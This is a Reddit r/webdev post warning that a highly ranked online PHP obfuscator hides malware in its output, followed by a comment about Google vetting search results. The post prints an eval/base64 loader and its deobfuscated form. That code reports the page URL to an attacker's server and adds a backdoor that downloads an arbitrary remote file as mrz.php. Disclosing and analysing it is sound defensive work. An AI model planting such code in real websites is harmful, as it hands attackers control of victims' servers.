r/webdev
•
u/tainvie
•
17h ago
•
2
The 2nd Google Result for "PHP Obfuscator" Injects Malware Into Your Code
Today, I was experimenting with some basic obfuscation and how different AI models handle different levels of PHP obfuscation, including prompt injection inside code.
At some point, I wanted to quickly try some online PHP obfuscators. After a quick Google search, I tried the first few results.
I didn't even notice anything wrong with the second one. I copied the code into Claude and asked it to deobfuscate it. I was shocked. The website, which is the SECOND Google search result for "php obfuscator," contained malware in its code.
Anyone who tries to obfuscate their code using that online service without checking the actual output basically infects themselves.
DO NOT EVER RUN ANY CODE YOU RECEIVE FROM ANY ONLINE OBFUSCATOR.
Infection still in: 2026-11-28 17:49 (UTC)
-------
Input:
<?php echo "Hello world";Output (partial):
<?php
$stt1 = "b\x56Jha\x39swEP3uX3ELBt ... JM9G838=";
$stt0 = "UOeg+bS3F1jxBM ... WbS8e7/dwpHB";
eval(gzinflate(base64_decode($stt1)));
?>Output (deobfuscated, cleaned up)
<?php
// 1. "Phone home": report this infected page's URL to the attacker
$c2_url = 'https://s****i.top/ghost/';
$cur_url = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$context = stream_context_create([
'http' => [
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => http_build_query(['file_url' => $cur_url]),
],
]);
file_get_contents($c2_url, false, $context);
// 2. Dropper: ?mrz&file=<URL> downloads any remote file and saves mrz.php
if (isset($_GET['mrz'])) {
$payload = file_get_contents($_GET['file']); // attacker-supplied URL
if (file_put_contents('mrz.php', $payload)) {
echo "File : mrz.php Success !";
} else {
echo "Error";
}
exit;
}
// 3. Decoy output so the page looks harmless
echo "Hello world";


View all comments
Show parent comment
-4
u/RedditCultureBlows 16h ago
First all you can keep that attitude for the next person, no clue why you’re being so pissy.
Second, how would I even have replied without a PC? You get a phone is a computer at this point too? Makes no sense but I wouldn’t expect an emotional outburst to follow much logic either.
Last, no I expect a multi-trillion dollar company to vet their own listings. You know they crawl the pages on the site? You know Google has their own LLM? There’s no reason the results they crawl can’t be automatically vetted. Do you also think spam mail is individually reported and removed? You don’t think they need established presence to not get flagged as spam? You don’t think automatic malware/phishing isn’t happening either?
I guess next time sit and think a minute before getting emotional on the internet because other people want the multi-trillion dollar company to put more effort into finding malicious actors that they’re willing to list.